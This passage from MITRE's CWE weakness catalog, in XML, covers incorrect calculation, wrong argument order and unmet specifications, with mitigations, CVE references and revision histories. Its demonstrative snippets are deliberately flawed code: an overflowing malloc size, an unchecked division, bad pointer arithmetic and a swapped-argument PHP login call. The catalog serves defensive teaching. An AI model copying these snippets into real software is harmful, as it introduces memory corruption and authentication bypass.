					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="682" Name="Incorrect Calculation" Abstraction="Pillar" Structure="Simple" Status="Draft">
         <Description>The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.</Description>
         <Extended_Description>When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="CanPrecede" CWE_ID="170" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-8">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.</xhtml:p>
                  <xhtml:p>Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.</xhtml:p>
                  <xhtml:p>Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-26">
               <Phase>Implementation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-33">
               <Intro_Text>The following image processing code allocates a table for images.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>img_t table_ptr; /*struct containing img data, 10kB each*/<xhtml:br/>int num_imgs;<xhtml:br/>...<xhtml:br/>num_imgs = get_num_imgs();<xhtml:br/>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to calculate a football team's average number of yards gained per touchdown.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>int touchdowns = team.getTouchdowns();<xhtml:br/>int yardsGained = team.getTotalYardage();<xhtml:br/>System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-55">
               <Intro_Text>This example attempts to calculate the position of the second byte of a pointer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int *p = x;<xhtml:br/>char * second_char = (char *)(p + 1);</xhtml:div>
               </Example_Code>
               <Body_Text>In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-0022</Reference>
               <Description>chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-0022</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1363</Reference>
               <Description>substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1363</Link>
            </Observed_Example>
          </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FLP32-C</Entry_ID>
               <Entry_Name>Prevent or detect domain and range errors in math functions</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT07-C</Entry_ID>
               <Entry_Name>Use only explicitly signed or unsigned char type for numeric values</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT13-C</Entry_ID>
               <Entry_Name>Use bitwise operators only on unsigned operands</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT33-C</Entry_ID>
               <Entry_Name>Ensure that division and remainder operations do not result in divide-by-zero errors</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT34-C</Entry_ID>
               <Entry_Name>Do not shift an expression by a negative number of bits or by greater than or equal  to the number of bits that exist in the operand</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="128"/>
            <Related_Attack_Pattern CAPEC_ID="129"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-106"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 7: Integer Overflows.&#34; Page 119"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Signed Integer Boundaries&#34;, Page 220"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Observed_Examples, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="683" Name="Function Call With Incorrect Order of Arguments" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.</Description>
         <Extended_Description>While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="628" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This problem typically occurs when the programmer makes a typo, or copy and paste errors.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use the function, procedure, or routine as specified.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-62">
               <Intro_Text>The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function authenticate($username, $password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// authenticate user</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>authenticate($_POST['password'], $_POST['username']);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-7049</Reference>
               <Description>Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7049</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="684" Name="Incorrect Provision of Specified Functionality" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The code does not function according to its published specifications, potentially leading to incorrect usage.</Description>
         <Extended_Description>When providing functionality to an external party, it is important that the product behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that your code strictly conforms to specifications.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>PRE09-C</Entry_ID>
               <Entry_Name>Do not replace secure functions with less secure functions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Failure to Provide Specified Functionality</Previous_Entry_Name>
         </Content_History>
      </Weakness>
